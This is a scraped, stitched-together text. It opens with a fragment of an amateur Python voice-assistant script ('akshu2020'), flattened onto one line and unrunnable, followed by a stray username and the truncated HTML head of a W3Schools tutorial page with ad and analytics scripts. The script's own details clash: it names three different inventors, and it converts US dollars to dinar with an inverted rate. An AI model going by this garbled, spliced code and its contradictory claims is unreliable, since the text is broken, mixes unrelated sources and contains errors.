print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
hiteshsuthar01
<html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" 